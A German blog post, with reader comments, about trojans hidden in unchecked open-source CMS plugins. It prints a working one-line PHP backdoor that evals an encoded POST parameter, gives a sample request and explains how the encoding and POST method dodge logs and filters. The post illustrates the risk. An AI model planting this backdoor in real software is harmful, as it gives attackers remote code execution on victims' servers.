Auf Schliemanns Spuren

Sonntag, 20. März 2011, 17:54 Uhr |  Autor:

if (isset($_POST['t'])) eval(base64_decode(str_rot13($_POST['t'])));

In dem WordPress-Plugin welches ich hier für das Syntax-Highlighting benutze (WP-Syntax (wordpress.org)) stecken 192 php-Dateien, mit zusammen 55.009 Zeilen Code. Würde man darin die obige eine Zeile Code verstecken und via dem folgenden Request ansprechen

http://domain/pfad-zur/manipulierten-datei.php
[POST]
t=pTujnJ5zoltcBj==

so bekäme man die Server-Einstellungen zu dem installierten PHP angezeigt.

(POST-Request, damit es nicht in den Logfiles des Servers auftaucht und base64- und ROT13-kodiert, um mögliche Filter, die vor Angriffen schützen sollen, unbehelligt zu durchlaufen.)


Worauf ich hinaus will?

Bei Open Source haben wir zwar, im Gegensatz zu Closed Source, die Möglichkeit in die Quellen reinzuschauen, aber machen wir dies auch? Also, ich habe mir die 55.009 Zeilen Code in den 192 Dateien des einen Plugins nicht gründlich genug angeschaut, um 100% ausschließen zu können, dass darin ein Trojaner versteckt ist. ;O)

Wer es darauf anlegt Schadcode unters Volk zu bringen, der hat relativ leichtes Spiel. Nur zu bereitwillig werden Templates oder Plugins in einem CMS ungeprüft installiert.

Nur das Ausprobieren eines Plugins oder Templates könnte ein CMS mit einem Trojaner infizieren, indem beim einmaligen Aufruf eine Datei die zu dem System gehört um entsprechenden Code erweitert wird. Auch wenn das Plugin oder Template wieder gelöscht wird — der Schadcode ist im System.

Bekannte und weit verbreitete Projekte sind zwar grundsätzlich vor solchen Angriffen nicht gefeit, aber um so mehr Benutzer es gibt, und somit Leute die auch in den Code hineinschauen, um so eher besteht die Chance dass eine Manipulation auffliegt. Auch in solchen Projekten kann ein Angreifer zum Erfolg kommen, wenn beispielsweise ein Teammitglied vorsätzlich Sicherheitslücken einbaut. Wird seine “Sicherheitslücke” bekannt, so kann er sich damit herausreden dass er einfach nur schludrig gearbeitet hat.

Eine echte Lösung des Problems gibt es nicht. Man kann nur darauf achten die Quellen für Downloads mit Bedacht auszuwählen, was leider… “SourceForge schaltet Server nach Einbruch ab” (heise.de)


Update: 21.03.2011 – 17:05 Uhr

Wiki-Server der PHP-Entwickler gehackt” (heise.de)

Tags »   

Trackback: Trackback-URL | Feed zum Beitrag: RSS 2.0
Thema: Open Source, Sicherheit

Kommentare und Pings sind geschlossen.

2 Kommentare

  1. mir gingen diese gedanken auch schon mal durch den kopf. selbst für den fall, dass sich irgend jemand die mühe macht, ein bestimmtes plugin abzuklopfen: beim nächsten update geht der spass weiter.

    davon mal abgesehen, 192 dateien für ein plugin?!

    cx

  2. Die 192 war ein glücklicher Zufall. :O)

    Ich habe nur nach einem WP-Plugin für Syntax-Highlighting gesucht und plötzlich hatte ich ein schönes Beispiel, in dem sehr viele Dateien drinstecken. In dem Plugin sind alleine 188 php-Dateien enthalten, die nur für die verschiedenen Programmier- und Scriptsprachen zuständig sind — von 4CS bis ZXBasic.